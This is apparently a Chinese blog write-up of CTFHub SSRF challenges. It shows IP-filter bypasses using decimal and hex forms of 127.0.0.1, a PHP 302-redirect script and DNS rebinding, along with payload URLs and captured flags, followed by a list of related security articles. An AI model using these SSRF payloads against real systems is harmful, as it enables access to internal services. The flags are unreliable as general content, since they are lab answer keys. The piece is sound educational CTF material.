在这里插入图片描述
127被ban了，利用进制绕过

127.0.0.1

十进制：2130706433
十六进制 = 0x7F000001

  • 1
  • 2
  • 3
  • 4

payload:

?url=http://2130706433/flag.php
?url=http://0x7F000001/flag.php

ctfhub{6c7da22b915e514a2166ebc8}

  • 1
  • 2
  • 3
  • 4

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

没有vps，在BUU开个靶机，然后在/var/www/html目录下创建ssrf.php

<?php 
header("Location: http://127.0.0.1/flag.php");
?>

  • 1
  • 2
  • 3

然后payload写访问文件的地址

?url=http://challenge-ecc5d8e674ef2aa4.sandbox.ctfhub.com:10800/?url=http://54899ba5-ce14-4afa-a744-c342f2cc5361.node4.buuoj.cn:81/ssrf.php

ctfhub{44d10798e3a02163751e39ee}

  • 1
  • 2
  • 3

DNS重绑定 Bypass

在这个网站注册一个账号http://ceye.io/，然后会给你分配一个域名，修改成如下的内容，第一个随便天填，第二个写

浅谈DNS重绑定漏洞:https://zhuanlan.zhihu.com/p/89426041

配置一下
在这里插入图片描述
然后使用域名

Payload：url=http://r.xxxxxx/flag.php  
#xxx为分给你的域名

ctfhub{89904fb53a36e3df04691243}

  • 1
  • 2
  • 3
  • 4

参考文章：
我在CTFHub学习SSRF
SSRF的利用方式

推荐阅读

【网络流量识别】【聚类】【二】FCM和GMM—使用聚类技术和性能比较进行网络流量异常检测

本文介绍采用高斯混合模型（GMM）和模糊C均值聚类（FCM）来进行网络流量异常检测的方法。原文来自IEEE，发表日期2013年。原文链接：使用聚类技术和性能比较进行网络流量异常检测|IEEE 会议出版物|伊 · X普洛尔摘要K-means聚类和高斯混合模型（GMM）是有效的聚类技术，模糊聚类比硬聚类更加灵活，并且由于使用模型聚类对数据进行自然处理，因此在入侵检测方面非常实用。模糊c均值聚类法（FCM）是一种迭代的最佳算法，通常基于最小二乘法来划分数据集，具有较高的计算开销。本文建议修 ,

BUU sql注入-[SUCTF 2019]EasySQL

一、题目点开页面，是一个提交表单二、解题1.先试试一些常规的姿势输入数字有回显输入其他字符(或数字后加单引号构造闭合)都没有回显，应该是关闭了错误提示那么我们可以确定这里是字符型注入2. 优先考虑用联合查询无论输啥数字都显示nonono，初步推断有关键字被后台过滤掉了一个一个试(也可以在BP里面buzz测试)常用的关键字只有show和select没被过滤掉(or被过滤了肯定order也用不... ,

CTF练习——[极客大挑战 2019]LoveSQL1

一道基础的sql注入练习题，写一下做题思路。看到一个登录框，随便输入发现是get传参，尝试是否存在sql注入，username=admin' password=123456。页面报错，存在sql注入，尝试使用万能密码。username=admin password=1' or 1=1 -- qwe。成功登录。参数username出存在注入点，构造sql语句寻找回显点。步骤如下：（1）猜解字段数当username=1' order by 4 -- qwe password=... ,

BugKu CTF(杂项篇MISC)---细心的大象

BugKu CTF(杂项篇MISC)—细心的大象下载得到图片foremost 分离得到压缩包foremost 1.jpg查看图片详细信息TVNEUzQ1NkFTRDEyM3p6base64 解密MSDS456ASD123zzbase64解密后为压缩包密码解压得图片这里我的honeyview并不能正常打开 ,我用的wps的图片查看器打开的测试bugku并不能成功尝试修改图片宽度... ,

BUU 302重定向、php代码审计、文件包含漏洞-[极客大挑战 2019]Secret File

一、题目碰到这种黑页面第一时间扒源代码发现提示页面 ./Archive_room.php点进去果然还有一关，应该快了吧，点进SECRET我 **********源代码里面啥都没了二、解题没事儿抓抓包，说不定有线索呢这里我们用BP抓到了点击SECRET按钮时的包可以看到这个包的Status是302，即它被重定向了302重定向经常被用于做url劫持，黑帽seo技术中，而且百度在处理302重定向技术还不成熟，经常将它纳入到黑帽seo的范... ,

最新系统漏洞--JSON Smart拒绝服务漏洞

最新系统漏洞2021年7月15日受影响系统：JSON Smart 2.4JSON Smart 1.3描述：CVE(CAN) ID: CVE-2021-31684Json-smart是一个高性能的JSON处理类库。Json-smart 1.3版本和2.4版本的JSONParserByteArray的indexOf函数存在拒绝服务漏洞。攻击者可利用该漏洞通过特制的web请求导致拒绝服务(DOS)。&lt;**&gt;建议：厂商补丁：JSON目前厂商已经发布了升级补丁以修复这个安全问题，请 ,

最新系统漏洞--Invision Community代码注入漏洞

最新系统漏洞2021年7月15日受影响系统：Invision Community &lt; 4.6.0描述：CVE(CAN) ID: CVE-2021-32924Invision Community(原名为IPB或IP.Board)是世界上最著名的论坛程序之一,由PHP+MySQL架构。Invision Community 4.6.0之前版本存在代码注入漏洞。该漏洞源于不安全的IPS cms modules front pages builder::previewBlock方法与IPS_Them ,

逆向工程之PE文件格式（一）

1.介绍PE文件是Windows操作系统下使用的可执行文件文件格式。PE文件是指32位的可执行文件，也叫PE32。64位的可执行文件称为PE+或者PE32+,是PE文件的一种扩展形式（不是PE64）。2.PE文件格式以上的文件类型中，OBJ(对象)文件是不可以执行的，其他都是可以执行的，DLL,SYS文件不能直接在shell上执行，但是在调试器或服务上是可执行的。（学过汇编语言的同学都知道OBJ是编译结果文件，也是PE文件）下面以记事本(notepad.exe）程序进行简单说明， ,

前端同源策略 跨域请求问题详解

在本文中，将阅读到的内容有同源策略JSONPCORS1. 同源策略本小节内容1.1 同源策略1.2 同源策略存在的意义和目的1.1 同源策略浏览器的安全策略当中有一个重要的策略叫做同源策略。它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档，减少可能被攻击的媒介。首先要明白同源的定义是什么？如果两个URL的**协议（protocol）、域名（domain）和端口（port）**都相同的话，这两个URL就是同源的。与 URL. ,

Metasploit--模块或漏洞的查找和选择

一、show的使用show后面可以接的参数all,exploits,payloads,auxiliary,post,encorders,nops,plugins,info,options如show payloads可以展示所有的payloads，但是这种展示会把全部列出来，比较费时二、search的使用metasploit使用过程中，由于这个框架有太多的内容，如果想单独搜索某一个知道名称的或者知道大致模块的内容，可以使用search使用search -h可以看到search的帮助.. ,

一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》

随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。一、网络安全行业市场发展情况网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重. ,

小迪安全课程笔记--01基础入门

一、web源码拓展1、各类型文件的存放位置数据库配置文件一般放在include、config或者data文件夹下后台目录即管理员目录一般在admin文件夹下模板目录一般在template文件夹下2、在线CMS指纹识别CMS是"Content Management System"的缩写，意为"内容管理系统"Web指纹扫描用于识别目标所运行的web软件、后端服务器、编程语言等特征，实现对目标的web应用的准确标识，包括应用名称（版本）、服务器软件（版本）、编程语言（版本）、应用框架（版 ,

XXE是什么

XML 外部实体 (XXE) 注入背景：什么是XML？XML 指可扩展标记语言（EXtensible Markup Language），它是用于存储和传输数据的最常用的语言与HTML区别它是用来对HTML的补充，HTML只能定义数据的展示，而XML能定义数据的组织。XML是一种自我描述语言。它不包含任何预定义的标签，如 、 等。所有标签都是用户定义的，具体取决于它所代表的数据。、 等什么是 XML 外部实体注入？XXE漏洞全称XML External Entity Injection 即xml ,

TLS 基础知识 （1）

在学习TLS的握手过程之前，先复习一些基础知识。基础知识对称加密算法对称加密算法的特点是加密密钥和解密密钥是同一把密钥K，且加解密速度快，典型的对称加密算法有DES、AES等非对称加密算法非对称加密算法的特点是使用一对可互为加解密的密钥。一个自己保留，不能让其他人知道，叫私钥。一个可以公开，叫公钥加密密钥（即公钥）PK是公开信息，而解密密钥（即私钥）SK是需要保密的。加密算法E和解密算法D也都是公开的。虽然解密密钥SK是由公开密钥PK决定的，但却不能根据PK计算出SK 。典型的非对 ,

[数据安全] 基于全流量权限漏洞检测技术

一、背景关于安全领域内漏洞的发现，技术手段非常多，工具也非常多，大致阶段可分为事前、事中、事后来处理。事前大多采用SDL、白盒扫描等；事中、事后有NIDS及漏洞感知，甚至还有WAF来拦截恶意流量等。本文作者主要想尝试通过流量扫描的方式，去发现更多的潜在漏洞。本文将围绕“权限问题”这类漏洞展开讨论，因为权限一旦出问题，很可能导致大规模的敏感信息泄漏，这样的后果可能比一两个跨站要严重的多。权限问题是每个公司非常重要且很难处理好的一种漏洞，这类漏洞是和业务相关性很强的一种漏洞。对安全团队来说，如果对业.. ,